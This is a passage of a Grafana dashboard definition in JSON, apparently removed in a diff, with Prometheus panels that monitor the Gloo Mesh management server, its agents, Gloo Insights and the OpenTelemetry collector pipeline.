"type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.75, sum(rate(gloo_mesh_translation_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P75", - "refId": "C" - } - ], - "title": "Translation Time Percentiles", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Count of translations times that were in a given time in seconds", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 6, - "w": 6, - "x": 6, - "y": 10 - }, - "id": 46, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "pluginVersion": "8.3.3", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.99, sum(rate(gloo_mesh_reconciler_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P99", - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.90, sum(rate(gloo_mesh_reconciler_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P90", - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.75, sum(rate(gloo_mesh_reconciler_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P75", - "refId": "C" - } - ], - "title": "Recon Time Percentiles", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Number of translators that can run concurrently", - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 6, - "w": 6, - "x": 12, - "y": 11 - }, - "id": 8, - "options": { - "colorMode": "value", - "graphMode": "area", - "justifyMode": "center", - "orientation": "auto", - "reduceOptions": { - "calcs": [ - "lastNotNull" - ], - "fields": "", - "values": false - }, - "text": { - "titleSize": 10, - "valueSize": 50 - }, - "textMode": "value" - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(gloo_mesh_translator_concurrency) by (pod)", - "format": "time_series", - "hide": false, - "instant": false, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Gloo Translator Concurrency", - "type": "stat" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Number of errors when trying to sync with Redis", - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 6, - "w": 6, - "x": 18, - "y": 11 - }, - "id": 10, - "options": { - "colorMode": "value", - "graphMode": "area", - "justifyMode": "auto", - "orientation": "auto", - "reduceOptions": { - "calcs": [ - "lastNotNull" - ], - "fields": "", - "values": false - }, - "text": { - "titleSize": 20, - "valueSize": 40 - }, - "textMode": "auto" - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(delta(gloo_mesh_redis_sync_err{app=\"gloo-mesh-mgmt-server\"}[10m]))", - "instant": false, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Redis Sync Errors (last 10m)", - "type": "stat" - } - ], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Gloo Management Server", - "type": "row" - }, - { - "collapsed": true, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 1 - }, - "id": 25, - "panels": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "percentage", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 99 - } - ] - }, - "unit": "percentunit" - }, - "overrides": [] - }, - "gridPos": { - "h": 5, - "w": 4, - "x": 0, - "y": 18 - }, - "id": 16, - "options": { - "colorMode": "value", - "graphMode": "area", - "justifyMode": "auto", - "orientation": "auto", - "reduceOptions": { - "calcs": [ - "lastNotNull" - ], - "fields": "", - "values": false - }, - "textMode": "auto" - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(relay_pull_clients_connected{app=\"gloo-mesh-mgmt-server\"}) / count(relay_pull_clients_connected{app=\"gloo-mesh-mgmt-server\"})", - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Agents Connected", - "type": "stat" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 5, - "w": 4, - "x": 4, - "y": 18 - }, - "id": 27, - "options": { - "colorMode": "value", - "graphMode": "area", - "justifyMode": "auto", - "orientation": "auto", - "reduceOptions": { - "calcs": [ - "lastNotNull" - ], - "fields": "", - "values": false - }, - "textMode": "auto" - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(relay_pull_clients_connected)", - "instant": false, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Total Agent Connected", - "type": "stat" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 1 - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 5, - "w": 4, - "x": 8, - "y": 18 - }, - "id": 35, - "options": { - "colorMode": "value", - "graphMode": "area", - "justifyMode": "auto", - "orientation": "auto", - "reduceOptions": { - "calcs": [ - "last" - ], - "fields": "", - "values": false - }, - "textMode": "auto" - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "count(sum(relay_push_clients_warmed == 0) by(cluster))", - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Agent Clusters Not Warmed", - "type": "stat" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 11, - "w": 12, - "x": 12, - "y": 18 - }, - "id": 18, - "options": { - "legend": { - "calcs": [ - "lastNotNull" - ], - "displayMode": "table", - "placement": "bottom", - "showLegend": true, - "sortBy": "Last *", - "sortDesc": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(relay_pull_clients_connected{app=\"gloo-mesh-mgmt-server\"})by (pod)", - "instant": false, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Agents Connected To each Management Pod", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "custom": { - "align": "auto", - "displayMode": "auto", - "filterable": true, - "inspect": false, - "width": 200 - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - } - }, - "overrides": [ - { - "matcher": { - "id": "byName", - "options": "Mgmt Pod" - }, - "properties": [ - { - "id": "custom.width", - "value": 433 - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "Agent Cluster" - }, - "properties": [ - { - "id": "custom.width", - "value": 436 - } - ] - } - ] - }, - "gridPos": { - "h": 6, - "w": 12, - "x": 0, - "y": 23 - }, - "id": 20, - "options": { - "footer": { - "fields": "", - "reducer": [ - "sum" - ], - "show": false - }, - "showHeader": true, - "sortBy": [ - { - "desc": false, - "displayName": "Mgmt Pod" - } - ] - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": false, - "expr": "sum(relay_pull_clients_connected{app=\"gloo-mesh-mgmt-server\"}) by (pod,cluster)", - "format": "table", - "instant": true, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Agents Connected To Each Mgmt Pod", - "transformations": [ - { - "id": "organize", - "options": { - "excludeByName": { - "Time": true, - "Value": true, - "Value #A": true - }, - "indexByName": { - "Time": 0, - "Value": 3, - "cluster": 2, - "pod": 1 - }, - "renameByName": { - "cluster": "Agent Cluster", - "pod": "Mgmt Pod" - } - } - } - ], - "type": "table" - } - ], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Gloo Agents", - "type": "row" - }, - { - "collapsed": true, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 2 - }, - "id": 57, - "panels": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 0, - "y": 3 - }, - "id": 61, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "sum(rate(solo_io_insights_execution_time_count[5m]))", - "legendFormat": "Insights", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "rate(solo_io_insights_engine_errors_total[5m])", - "hide": false, - "legendFormat": "Errors", - "range": true, - "refId": "B" - } - ], - "title": "Insights execution rate", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 12, - "y": 3 - }, - "id": 63, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "sum(rate(solo_io_analyzer_execution_time_count[5m]))", - "legendFormat": "Analyzer", - "range": true, - "refId": "A" - } - ], - "title": "Insights Analyzer execution rate", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 0, - "y": 11 - }, - "id": 59, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.95, sum(rate(solo_io_insights_execution_time_bucket[5m])) by (le,code))", - "legendFormat": "__auto", - "range": true, - "refId": "A" - } - ], - "title": "Insights execution times (p95)", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 12, - "y": 11 - }, - "id": 60, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.95, sum(rate(solo_io_insights_total_execution_time_bucket[$__rate_interval])) by (le))", - "hide": false, - "legendFormat": "p95", - "range": true, - "refId": "D" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.90, sum(rate(solo_io_insights_total_execution_time_bucket[$__rate_interval])) by (le))", - "hide": false, - "legendFormat": "p90", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.50, sum(rate(solo_io_insights_total_execution_time_bucket[$__rate_interval])) by (le))", - "hide": false, - "legendFormat": "p50", - "range": true, - "refId": "C" - } - ], - "title": "Insights total execution time percentiles", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 0, - "y": 19 - }, - "id": 64, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.95, sum(rate(solo_io_analyzer_execution_time_bucket[5m])) by (le, analyzer))", - "legendFormat": "__auto", - "range": true, - "refId": "A" - } - ], - "title": "Insights Analyzer execution times (p95)", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 12, - "y": 19 - }, - "id": 65, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.95, sum(rate(solo_io_analyzer_execution_time_bucket[5m])) by (le))", - "hide": false, - "legendFormat": "p95", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.90, sum(rate(solo_io_analyzer_execution_time_bucket[5m])) by (le))", - "hide": false, - "legendFormat": "p90", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.50, sum(rate(solo_io_analyzer_execution_time_bucket[5m])) by (le))", - "hide": false, - "legendFormat": "p50", - "range": true, - "refId": "D" - } - ], - "title": "Insights Analyzer execution time percentiles", - "type": "timeseries" - } - ], - "title": "Gloo Insights", - "type": "row" - }, - { - "collapsed": true, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 3 - }, - "id": 49, - "panels": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": true, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "links": [], - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [ - { - "matcher": { - "id": "byRegexp", - "options": "/.*Refused.*/" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "red", - "mode": "fixed" - } - } - ] - } - ] - }, - "gridPos": { - "h": 10, - "w": 8, - "x": 0, - "y": 4 - }, - "id": 51, - "interval": "", - "links": [], - "options": { - "legend": { - "calcs": [ - "min", - "max", - "mean" - ], - "displayMode": "table", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "8.3.5", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "exemplar": true, - "expr": "sum(rate(otelcol_receiver_accepted_metric_points[5m])) by (receiver)", - "format": "time_series", - "interval": "", - "intervalFactor": 1, - "legendFormat": "Accepted rate: {{receiver}}", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "exemplar": true, - "expr": "sum(rate(otelcol_receiver_refused_metric_points[5m])) by (receiver)", - "format": "time_series", - "hide": false, - "interval": "", - "intervalFactor": 1, - "legendFormat": "Refused rate: {{receiver}}", - "range": true, - "refId": "B" - } - ], - "title": "Receivers: Metric Points Rate", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": true, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "links": [], - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [ - { - "matcher": { - "id": "byRegexp", - "options": "/.*Refused.*/" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "red", - "mode": "fixed" - } - } - ] - }, - { - "matcher": { - "id": "byRegexp", - "options": "/.*Dropped.*/" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "purple", - "mode": "fixed" - } - } - ] - } - ] - }, - "gridPos": { - "h": 10, - "w": 8, - "x": 8, - "y": 4 - }, - "id": 53, - "interval": "", - "links": [], - "options": { - "legend": { - "calcs": [ - "min", - "max", - "mean" - ], - "displayMode": "table", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "8.3.5", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_processor_batch_batch_send_size_count[5m])) by (processor)", - "format": "time_series", - "hide": false, - "instant": false, - "interval": "", - "intervalFactor": 1, - "legendFormat": "Batch send size count: {{processor}}", - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_processor_batch_batch_send_size_sum[5m])) by (processor)", - "format": "time_series", - "hide": false, - "instant": false, - "interval": "", - "intervalFactor": 1, - "legendFormat": "Batch send size sum: {{processor}}", - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_processor_batch_timeout_trigger_send[5m])) by (processor)", - "hide": false, - "interval": "", - "legendFormat": "Batch timeout rate: {{processor}}", - "refId": "C" - } - ], - "title": "Processors: Batch metrics", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": true, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "links": [], - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 10, - "w": 8, - "x": 16, - "y": 4 - }, - "id": 55, - "interval": "", - "links": [], - "options": { - "legend": { - "calcs": [ - "min", - "max", - "mean" - ], - "displayMode": "table", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "8.3.5", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_exporter_sent_metric_points[5m])) by (exporter)", - "format": "time_series", - "interval": "", - "intervalFactor": 1, - "legendFormat": "Sent metric points: {{exporter}}", - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_exporter_enqueue_failed_metric_points[5m])) by (exporter)", - "format": "time_series", - "hide": false, - "interval": "", - "intervalFactor": 1, - "legendFormat": "Enqueue failed metric points rate: {{exporter}}", - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_exporter_send_failed_metric_points[5m]))", - "hide": false, - "interval": "", - "legendFormat": "Sent failed rate: {{exporter}}", - "refId": "C" - } - ], - "title": "Exporters: Metric Points Rate", - "type": "timeseries" - } - ], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Gloo Telemetry Pipeline", - "type": "row" - }, - { - "collapsed": true, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 4 - }, - "id": 2, - "panels": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 100, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 0, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "normal" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [ - { - "matcher": { - "id": "byName", - "options": "quota - requests" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "#F2495C", - "mode": "fixed" - } - }, - { - "id": "custom.fillOpacity", - "value": 0 - }, - { - "id": "custom.lineWidth", 